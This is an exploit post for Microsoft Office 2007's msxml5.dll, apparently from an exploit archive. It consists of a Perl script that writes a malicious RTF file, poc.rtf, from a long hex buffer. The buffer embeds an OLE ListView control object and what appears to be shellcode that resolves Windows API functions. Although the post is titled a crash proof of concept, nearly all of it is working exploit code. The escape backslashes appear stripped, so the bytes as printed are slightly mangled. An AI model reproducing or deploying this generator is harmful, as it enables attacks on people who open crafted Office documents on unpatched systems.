Microsoft Office 2007 msxml5.dll Crash Proof Of Concept
Posted on 01 September 2015
#!/usr/bin/perl -w # Title : Microsoft Office 2007 msxml5.dll - Crash Proof Of Concept # Tested : Microsoft Office 2007 / Win7 # DLL : msxml5.dll 5.20.1072.0 # WINWORD.EXE version : 12.0.6612.1000 # # # Author : Mohammad Reza Espargham # Linkedin : https://ir.linkedin.com/in/rezasp # E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com # Website : www.reza.es # Twitter : https://twitter.com/rezesp # FaceBook : https://www.facebook.com/mohammadreza.espargham # #Demo : http://youtu.be/Eciu50k7vbI open FILE, ">poc.rtf"; $buffer="x7bx5cx72x74x66x31x7bx5cx66x6fx6ex74x74x62x6cx7bx5cx66x30x5c".#rtf1 Standard Header... "x66x6ex69x6cx5cx66x63x68x61x72x73x65x74x30x56x65x72x64x61x6ex61x3b". "x7dx7dx5cx76x69x65x77x6bx69x6ex64x34x5cx75x63x31x5cx70x61x72x64x5c". "x73x62x31x30x30x5cx73x61x31x30x30x5cx6cx61x6ex67x39x5cx66x30x5cx66". "x73x32x32x5cx70x61x72x5cx70x61x72x64x5cx73x61x32x30x30x5cx73x6cx32". "x37x36x5cx73x6cx6dx75x6cx74x31x5cx6cx61x6ex67x39x5cx66x73x32x32x5c". "x70x61x72x7bx5cx6fx62x6ax65x63x74x5cx6fx62x6ax6fx63x78x7bx5cx2ax5c". "x6fx62x6ax64x61x74x61x0ax30x31x30x35x30x30x30x30x30x32x30x30x30x30". "x30x30x31x42x30x30x30x30x30x30x34x44x35x33x34x33x36x46x36x44x36x33x37x34x36x43x34x43x36x39x36x32x32x45x34x43x36x39x37x33x37x34x35x36x36x39x36x35x37x37x34x33x37x34x37x32x36x43x32x45x33x32x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x45x30x30x30x30x0ax44x30x43x46x31x31x45x30x41x31x42x31x31x41x45x31x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x33x45x30x30x30x33x30x30x46x45x46x46x30x39x30x30x30x36x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x30x30x30x30x30x30x30x31x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x30x30x30x30x30x30x32x30x30x30x30x30x30x30x31x30x30x30x30x30x30x46x45x46x46x46x46x46x46x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46". "x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x44x46x46x46x46x46x46x46x45x46x46x46x46x46x46x46x45x46x46x46x46x46x46x30x34x30x30x30x30x30x30x30x35x30x30x30x30x30x30x46x45x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x35x32x30x30x36x46x30x30x36x46x30x30x37x34x30x30x32x30x30x30x34x35x30x30x36x45x30x30x37x34x30x30x37x32x30x30x37x39x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x36x30x30x30x35x30x30x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x30x32x30x30x30x30x30x30x34x42x46x30x44x31x42x44x38x42x38x35x44x31x31x31x42x31x36x41x30x30x43x30x46x30x32x38x33x36x32x38x30x30x30x30x30x30x30x30x36x32x65x61x44x46x42x39x33x34x30x44x43x44x30x31x34x35x35x39x44x46x42x39x33x34x30x44x43x44x30x31x30x33x30x30x30x30x30x30x30x30x30x36x30x30x30x30x30x30x30x30x30x30x30x30x30x33x30x30x34x46x30x30x36x32x30x30x36x41x30x30x34x39x30x30x36x45x30x30x36x36x30x30x36x46x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x32x30x30x30x32x30x30x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30". "x30x30x36x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x33x30x30x34x46x30x30x34x33x30x30x35x38x30x30x34x45x30x30x34x31x30x30x34x44x30x30x34x35x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x32x30x30x30x32x30x31x30x31x30x30x30x30x30x30x30x33x30x30x30x30x30x30x46x46x46x46x46x46x46x46x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x30x30x30x30x30x30x31x36x30x30x30x30x30x30x30x30x30x30x30x30x30x30x34x33x30x30x36x46x30x30x36x45x30x30x37x34x30x30x36x35x30x30x36x45x30x30x37x34x30x30x37x33x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x32x30x30x30x32x30x30x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x32x30x30x30x30x30x30x37x45x30x35x30x30x30x30x30x30x30x30x30x30x30x30x46x45x46x46x46x46x46x46x46x45x46x46x46x46x46x46x30x33x30x30x30x30x30x30x30x34x30x30x30x30x30x30x30x35x30x30x30x30x30x30x30x36x30x30x30x30x30x30x30x37x30x30x30x30x30x30x30x38x30x30x30x30x30x30x30x39x30x30x30x30x30x30x30x41x30x30x30x30x30x30x30x42x30x30x30x30x30x30x30x43x30x30x30x30x30x30x30x44x30x30x30x30x30x30x30x45x30x30x30x30x30x30x30x46x30x30x30x30x30x30x31x30x30x30x30x30x30x30x31x31x30x30x30x30x30x30x31x32x30x30x30x30x30x30x31x33x30x30x30x30x30x30x31x34x30x30x30x30x30x30x31x35x30x30x30x30x30x30x31x36x30x30x30x30x30x30x31x37x30x30x30x30x30x30x46x45x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x46x30x30x39x32x30x33x30x30x30x34x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x34x43x30x30x36x39x30x30x37x33x30x30x37x34x30x30x35x36x30x30x36x39x30x30x36x35x30x30x37x37x30x30x34x31x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x32x31x34x33x33x34x31x32x30x38x30x30x30x30x30x30x36x61x62x30x38x32x32x63x62x62x30x35x30x30x30x30x34x45x30x38x37x44x45x42x30x31x30x30x30x36x30x30x31x43x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x36x30x30x30x31x35x36x30x41x30x30x30x30x30x31x45x46x43x44x41x42x30x30x30x30x30x35x30x30x39x38x35x44x36x35x30x31x30x37x30x30x30x30x30x30x30x38x30x30x30x30x38x30x30x35x30x30x30x30x38x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x46x44x45x45x43x42x44x30x31x30x30x30x35x30x30x39x30x31x37x31x39x30x30x30x30x30x30x30x38x30x30x30x30x30x30x34x39x37x34x36x44x37x33x36x34x30x30x30x30x30x30x30x32x30x30x30x30x30x30x30x31x30x32x32x32x32x30x30x43x30x30x30x30x30x30x34x33x36x46x36x32x36x41x36x34x30x30x30x30x30x30x38x32x38x32x30x30x30x30x38x32x38x32x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x31x31x31x31x31x31x31x31x31x31x31x63x62x39x38x30x39x37x37x39x30x39x30x39x30x39x30x39x30x39x30x39x30x39x30x33x33x63x39x36x34x38x62x34x39x33x30x38x62x34x39x30x63x38x62x34x39x31x63x38x62x35x39x30x38x38x62x34x31x32x30x38x62x30x39x38x30x37x38x30x63x33x33x37x35x66x32x38x62x65x62x30x33x36x64x33x63x38x62x36x64x37x38x30x33x65x62x38x62x34x35x32x30x30x33x63x33x33x33x64x32x38x62x33x34x39x30x30x33x66x33x34x32x38x31x33x65x34x37x36x35x37x34x35x30x37x35x66x32x38x31x37x65x30x34x37x32x36x66x36x33x34x31x37x35x65x39x38x62x37x35x32x34x30x33x66x33x36x36x38x62x31x34x35x36x38x62x37x35x31x63x30x33x66x33x38x62x37x34x39x36x66x63x30x33x66x33x33x33x66x66x35x37x36x38x36x31x37x32x37x39x34x31x36x38x34x63x36x39x36x32x37x32x36x38x34x63x36x66x36x31x36x34x35x34x35x33x66x66x64x36x33x33x63x39x35x37x36x36x62x39x33x33x33x32x35x31x36x38x37x35x37x33x36x35x37x32x35x34x66x66x64x30x35x37x36x38x36x66x37x38x34x31x30x31x66x65x34x63x32x34x30x33x36x38x36x31x36x37x36x35x34x32x36x38x34x64x36x35x37x33x37x33x35x34x35x30x66x66x64x36x35x37x36x38x37x32x36x63x36x34x32x31x36x38x36x66x32x30x35x37x36x66x36x38x34x38x36x35x36x63x36x63x38x62x63x63x35x37x35x37x35x31x35x37x66x66x64x30x35x37x36x38x36x35x37x33x37x33x30x31x66x65x34x63x32x34x30x33x36x38x35x30x37x32x36x66x36x33x36x38x34x35x37x38x36x39x37x34x35x34x35x33x66x66x64x36x35x37x66x66x64x30x30x30x30x30x30x30x30x30x30x30x30x30x30". "x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x30x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31